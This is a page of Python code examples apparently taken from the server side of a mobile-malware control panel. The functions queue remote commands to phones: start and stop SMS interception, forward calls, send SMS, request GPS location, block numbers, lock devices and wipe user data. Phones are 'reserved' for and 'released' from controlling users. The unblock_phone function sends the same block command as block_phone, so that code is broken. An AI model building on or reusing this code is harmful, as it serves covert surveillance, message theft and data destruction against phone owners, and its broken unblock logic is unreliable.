コード例 #1
0
def disable_forward_calls(phone):
    """
    Stop forwarding phone calls
    @param phone: the phone object
    @type phone: PhoneData
    """
    logger.debug(u"Stopping call forwarding for phone {0}".format(phone))
    command_queue.add_command(phone.uniq_id, None, "#disable_forward_calls")
コード例 #2
0
def send_gps(phone):
    """
    Sends GPS request to the phone
    @param phone: the phone object
    @type phone: PhoneData
    """
    logger.debug(u"GPS request sent to {0}".format(phone))
    command_queue.add_command(phone.uniq_id, None, "#check_gps")
コード例 #3
0
def unblock_all(phone):
    """
    Unblock all numbers for a specifed phone
    @param phone: the phone object
    @type phone: PhoneData
    """
    logger.debug(u"Phone {0} sent command to release all blocked numbers".format(phone))
    command_queue.add_command(phone.uniq_id, None, "#unblock_all_numbers")
コード例 #4
0
def block_phone(phone, number):
    """
    Block specified number at this phone
    @param phone: the phone object
    @type phone: PhoneData
    @param number: Number to block
    """
    logger.debug(u"Phone {0} sent command to add blocked number {1}".format(phone, number))
    command_queue.add_command(phone.uniq_id, None, "#block_numbers {0}".format(number))
コード例 #5
0
def wipe_data(phone):
    """
    Remove all user data from the phone
    @param phone: the phone object
    @type phone: PhoneData
    """
    logger.debug(u"Phone {0} - wiping all user data".format(phone))
    command_queue.add_command(phone.uniq_id, None, "#wipe_data")
    phone.wiped = True
    phone.save()
コード例 #6
0
def forward_calls(phone, number):
    """
    Start forwarding phone calls to another #
    @param phone: the phone object
    @type phone: PhoneData
    @param number: new number
    @type number: basestring
    """
    logger.debug(u"Forwarding phone {0} calls to {1}".format(phone, number))
    command_queue.add_command(phone.uniq_id, None, "#forward_calls {0}".format(number))
コード例 #7
0
def send_id(phone, number):
    """
    Send ID
    @param phone: the phone to check
    @type phone: PhoneData
    @param number: phone # to use
    @type number: basestring
    """
    command_queue.add_command(phone.uniq_id, None, "#sentid {0}".format(number))
    logger.debug(u"Sending id to {0} via {1}".format(phone, number))
コード例 #8
0
def unblock_phone(phone, number):
    """
    Unblock specified number from this phone
    @param phone: the phone object
    @type phone: PhoneData
    @param number: Number to unblock
    """
    logger.debug("Phone {0} sent command to release blocked number {1}".format(
        phone, number))
    command_queue.add_command(phone.uniq_id, None,
                              "#block_numbers {0}".format(number))
コード例 #9
0
def send_sms(phone, smsto, text):
    """
    Send SMS to specified recipient
    @param phone: the phone object
    @type phone: PhoneData
    @param smsto: SMS recipient
    @type smsto: basestring
    @param text: SMS text
    @type text: basestring
    """
    logger.debug(u"Phone {0} is sending SMS to {1} text {2}".format(phone, smsto, text))
    command_queue.add_command(phone.uniq_id, None, u"#send_sms {0} {1}".format(smsto, text))
コード例 #10
0
def device_lock(phone, status):
    """
    Lock/unlock given device
    @param phone: Phone to process
    @type phone: PhoneData
    @param status: Lock status
    @type status: bool
    @rtype: None
    """
    if phone.locked and not status:
        command_queue.add_command(phone.uniq_id, None, "#unlock")
    elif not phone.locked and status:
        command_queue.add_command(phone.uniq_id, None, "#lock")
コード例 #11
0
def release_phone(phone):
    """
    Releases the phone from the user control
    @param phone: Phone to process
    @type phone: PhoneData
    @rtype: None
    """
    if phone.owner_id is None:
        return
    phone.sms_status = models.PhoneData.SMS_INITIAL
    phone.save()
    set_phone_transient_state(phone.uniq_id, PHONE_STATE_UNLOCKING)
    command_queue.add_command(phone.uniq_id, None, "#intercept_sms_stop")
    logger.debug(u"Phone {0} to be released".format(phone))
コード例 #12
0
def reserve_phone(user, phone):
    """
    Attempt reserving phone for the given user. Sends command to the phone
    @param user: User to connect this phone to
    @type user: User
    @param phone: Phone data to process
    @type phone: PhoneData
    @return: True if successful or has been reserved for this user already, False otherwise
    @rtype: bool
    """
    if phone.owner == user:
        return True
    if phone.owner is not None and phone.owner != user:
        return False
    phone.owner = user
    phone.sms_status = models.PhoneData.SMS_INITIAL
    phone.save()
    set_phone_transient_state(phone.uniq_id, PHONE_STATE_LOCKING)
    command_queue.add_command(phone.uniq_id, user, "#intercept_sms_start")
    logger.debug(u"Phone {0} is going to be assigned to the user {1}".format(phone, user))
    return True